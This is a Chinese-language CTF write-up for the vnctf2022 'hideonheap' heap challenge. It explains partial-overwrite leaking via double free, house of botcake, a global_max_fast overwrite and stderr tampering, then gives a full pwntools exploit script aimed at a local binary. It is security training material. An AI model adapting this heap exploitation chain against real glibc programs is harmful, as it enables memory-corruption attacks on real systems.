partial overwrite
[TOC] 程序没有show函数,当堆块被free后,如果还可以edit,那么就可以通过partial overwrite来进行泄露进而爆破申请出想要申请的地址
- 这个也没什么原理,更多的算是一种trick
vnctf2022 hideonheap
- 题目分析很简单,没有show函数,但是free里面可以无限double free。
- 虽然edit有对sizelist进行检查,但是只要通过double free让两个指针指向同一个chunk就无限制edit
大多数人的解法
- house of corrision,通过打malloc_assert可以打印即可
- 途中用了house of botcake,凑出一个chunk既在unsorted bin又在tcache中,这样就可以partial overwrite,进而申请出libc附近的地址
- exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
context.arch = 'amd64'
context.log_level = 'debug'
# s=remote('node5.buuoj.cn',25333)
s = process('/home/zp9080/PWN/heap')
libc = ELF('/home/zp9080/PWN/libc.so.6')
def dbg():
gdb.attach(s,'b *$rebase(0x11B2)')
pause()
def add(size):
s.sendlineafter(b'Choice:' , b'1')
s.sendlineafter(b'Size:' , str(size).encode())
def edit(index,content):
s.sendlineafter(b'Choice:' , b'2')
s.sendlineafter(b'Index:' , str(index).encode())
s.sendafter(b'Content:' , content)
def delete(index):
s.sendlineafter(b'Choice:' , b'3')
s.sendlineafter(b'Index:' , str(index).encode())
add(0x14b0) # 0
for i in range(7):
add(0x50) # 1-7
for i in range(7):
add(0x60) # 8-14
add(0x90) # 15
add(0x90) # 16
add(0x90) # 17
add(0x90) # 18
add(0x420) # 19
for i in range(1,8):
delete(i)
for i in range(8,15):
delete(i)
delete(15)
add(0x90) # 1 = 15 ---------------------两个指针指向同一个chunk-------------------------------
delete(16)
add(0x90) # 2 = 16
delete(19)
add(0x420) # 3 = 19
delete(19)
add(0x410) # 4
#修改了top chunk的size,为了触发malloc_assert
edit(3 , b'\x00'*0x410 + p64(0) + p64(0x233))
for i in range(7):
delete(15)
edit(1 , b'a'*0x10)
#------------------------用house of botcake让一个chunk同时存在于tcache和unsorted bin中------------------------------
delete(15)
add(0x10) # 5
edit(1 , b'\x80\x3b')
add(0x90) # 6
add(0x90) # 7 global_max_fast
add(0x70) # 8 to clean unsorted bin
#同样的手法
for i in range(2):
delete(16)
edit(2 , b'\x00'*0x10)
delete(16)
add(0x10) # 9
edit(2 , b'\xc0\x15')
add(0x90) # 10
add(0x90) # 11 _IO_2_1_stderr_
edit(7 , p64(0x666666)) #修改global_max_fast
delete(0) #就是一开始那个很大的chunk
dbg()
edit(11 , p64(0xfbad1887) + p64(0)*3 + b'\x00')
#触发malloc_assert
edit(7 , p64(0x80))
add(0x888)
data=s.recvall(timeout=10)
index = data.find(b'd3ctf')
print(hex(index))
print(data[index:0x30])
s.interactive()